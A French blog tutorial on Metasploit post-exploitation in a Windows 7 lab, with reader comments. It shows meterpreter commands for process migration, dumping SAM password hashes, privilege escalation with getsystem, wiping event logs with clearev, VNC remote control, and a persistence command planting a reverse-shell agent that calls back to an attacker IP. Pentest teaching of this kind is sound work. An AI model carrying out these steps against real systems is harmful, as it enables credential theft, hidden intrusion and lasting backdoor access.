Dans le tuto précèdent, on a pu avoir une session meterpreter sur notre machine ce qui nous a offert un contrôle total sur la machine distante (sous Windows 7), puis on a fini avec la phase d’exploitation. Maintenant, nous allons aborder la phase de post-exploitation dont le principal joueur est meterpreter.

En fait, meterpreter est un payload qui une fois exécuté sur le système cible nous donne un shell interactif, autrement dit meterpreter est une sorte d’extension du Framework qui nous permet de récupérer les hashs, pivoter et migrer entre les processus, manipuler les fichiers et beaucoup d’autres fonctionnalités.

COMMANDES DE BASES :

Rappelez-vous, on a pu avoir une session meterpreter :

meterpreter_session

 

Comme vous le voyez dans la capture ci-dessus, j’ai utilisé la commande sysinfo pour avoir une idée sur l’OS que j’ai hacké. Voyons comment extraire plus d’informations en utilisant des commandes basiques.

 

La première commande qu’il faut impérativement savoir, c’est “help”, celle-ci vous fournit toutes les commandes qui sont à votre portée sur meterpreter :

meterpreter_help

Vous voyez que c’est vraiment riche en commandes, c’est tout ce dont vous aurez besoin pour interagir avec meterpreter. Nous allons voir ensemble celles qui sont les plus utilisées.

 

Θ screenshot :

Juste pour vous faire plaisir 😜, la commande screenshot vous permet de prendre une capture d’écran de la machine victime :

screenshot

 

C’est une excellente façon d’étudier le système, par exemple dans notre cas, on voit bien que notre cible est « PROTÉGÉE » par un antivirus AVAST (nous devons être plus prudents dans ce cas), et que python est installé (au cas où on veut pivoter 😬), bref, c’est très utile, mais pas suffisant.

 

Θ Ps :

La commande ps fournis une liste des processus en cours d’exécution, cela est très important, notamment quand vous voulez migrer d’un service que vous avez exploiter (internet_explorer dans notre cas) vers un autre plus stable. Ce qui diminue le risque de mortalité de notre session au moment de la fermeture du service exploité.

meterpreter_ps

 

Pour migrer, il suffit d’utiliser la commande « migrate«  suivi du numéro du processus PID, dans l’exemple suivant je vais déplacer le processus de mon payload vers le processus VBoxTray.exe(PID=1492) :

migrate

 

 

Θ Dump :

Maintenant que vous êtes habitués avec votre environnement, il ne vous reste plus qu’à récupérer les hashs stockés dans le système. Cependant, vous avez le choix d’utiliser le keylogger fourni par meterpreter ainsi que d’autres informations confidentielles.

Tout d’abord vérifiez l’autorité que vous avez sur le système en exécutant la commande “getuid” :

getuid

 

Vous voyez que je suis entrain d’exécuter les commandes en tant qu’ADMINISTRATEUR (super utilisateur) et c’est exactement ce que nécessite la commande hashdump afin qu’elle puisse bypasser les restrictions du registre du système et récupérer les hashs depuis le gestionnaire de compte SAM :

hashdump

 

D’habitude, Microsoft enregistre les hashs dans LAN Manager(LM) et NT LAN MANAGER (NTLM).

Dans le cas du stockage LAN, si le mot de passe entré par l’utilisateur est de 14 caractères, il peut être divisé en deux valeurs de 7 caractères puis chaque valeur est hashée séparément, de cette façon le hacker n’a plus qu’à cracker 2 mots de passe de 7 caractères. Ce qui facilite énormément les choses.

Cependant, le stockage type NTLM, hash directement le mot de passe quel qu’il soit et il l’enregistre dans le SAM (Security Account Manager).

 

N.B : Pour apprendre comment cracker un mot de passe hashé, vous pouvez suivre un article que j’ai déjà écris sur comment cracker un mot de passe avec python.

Ce que vous devez savoir, c’est que tout hash qui commence avec la valeur aad3b435 reflète un hash de valeur NUL ! Et si vous contemplez le hash que j’ai récupéré de la base SAM vous trouverez que c’est le cas.

 

Θ Élévation de privilège :

Dans certaines situations, vous arrivez à exploiter une machine avec peu de pouvoir, dans ce cas vous devez procédez à une élévation de privilèges (privilige escalation), mais il faut savoir que cet objectif (d’enlever les restrictions) n’est pas toujours facile et peu vite se compliquer en fonction de votre terrain.

La premier commande à essayer, c’est “getsystem” :

getsystem

Voila, maintenant on est autorité (rien ne peut vous faire face 😎).

Pour revenir au compte précèdent exécutez la commande “rev2self” comme suit :

rev2self

 

Θ Clearev :

Cette commande vous permet d’effacer le journal d’évènement, il faut être vigilant pendant vos tests d’intrusion, car s’introduire dans un système est simple, ce qui demande des compétences c’est de passer inaperçu.

clearev

 

Cette commande ne fait pas tout le travail, il va falloir aussi nettoyer le registre.

Θ Meterpreter scripts :

 

Meterpreter est équipé de plusieurs scripts externes que vous pouvez appeler, ces derniers peuvent vous aider à accomplir des tâches prédéfinies (et parfois complexes).

N.B : certains scripts obsolètes ne sont pas assez stables, mais je ne vais pas démontrer que ceux qui ont marché avec moi.

Pour exécuter un script entrez la commande “run nom_du_script”.

Une des fonctionnalités qu’aiment les newbies est l’interaction avec la machine victime via une interface graphique, vous pouvez le faire en utilisant un script qui va faire en sorte de créer un tunnel de communication entre les deux machines par le biais du protocole VNC (Virtual Network Computing).

run_vnc

La commande “run vnc” va installer une session sur la machine distante, en conséquence une fenêtre VNC devrait apparaître montrant le bureau de la machine victime :

vnc

 

Θ Persistance :

Il ne faut pas oublier que jusque-là votre session meterpreter peut se déconnecter à n’importe quel moment. Pour éviter cela, vous devez ancrer votre serveur dans le système 🙃, c’est ce qu’on appelle persistance , de cette façon même si la machine distante se déconnecte ou  le système d’exploitation crash, vous aurez toujours une connexion inverse depuis l’agent que vous avez planter.

Voici la syntaxe que j’utilise

Run persistence -X -i 20 -p 4444 -r IP_ADRESSE

Sachant que :

persistance : c’est le nom du script

-X : démarrage automatique de l’agent

-i 20 : l’agent retentit toutes les 20 secondes pour établir une connexion.

-p 4444 : tentation de connexion sur le port 4444

-r VOTRE_IP : l’IP de la machine du hacker.

persistance

 

Maintenant, si votre machine se redémarre, automatiquement une connexion inverse va s’établir grâce à votre agent persistant.

Note : pour voir le processus de création d’un payload indétectable par les antivirus vous pouvez consulter ma vidéo sur YouTube.

Voilà, jusque-là, vous avez acquis les bases pour comprendre comment meterpreter fonctionne et vous avez eu une idée sur sa puissance. Au fil de votre pratique vous allez apprendre de nouvelles techniques et pourquoi pas créer vos propres scripts afin de contribuer au développement de Metasploit !!.

 

Dans le prochain tuto (ou vidéo) on traitera un challenge real life ce qui va vous permettre de mettre tout ce que vous avez appris en œuvre… so stay tuned 😜.

PS : Si vous voulez approfondir vos compétences dans l’utilisation de Metasploit, je vous recommande ma formation complète METASPLOIT MASTERS™.

9 Responses

  1. Bonjour,
    j’ai vraiment apprécié votre série de 3 tutos sur Metasploit. Ils me sont d’une grande utilité surtout concernant la méthodologie qui me faisait défaut.
    Merci beaucoup et bonne continuation

  2. Salut ! Tes tutos sont vraiment géniaux ! Petite question, je n’arrive vraiment pas à trouver les liens pour télécharger windows 7 ou xp pour une machine virtuelle, sur le site de windows il n’y a plus que windows 10 de dispo, est-ce que vous avez un lien ou autre? Merci 🙂

  3. Salut j’aimerais savoir est-ce que tu comptes mettre plus de tutos du genre metasploit et openvas et sur le scaning de vulnérabilité et l’exploitation car c’est très intéressant

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

20 + trois =

Follow by Email
YouTube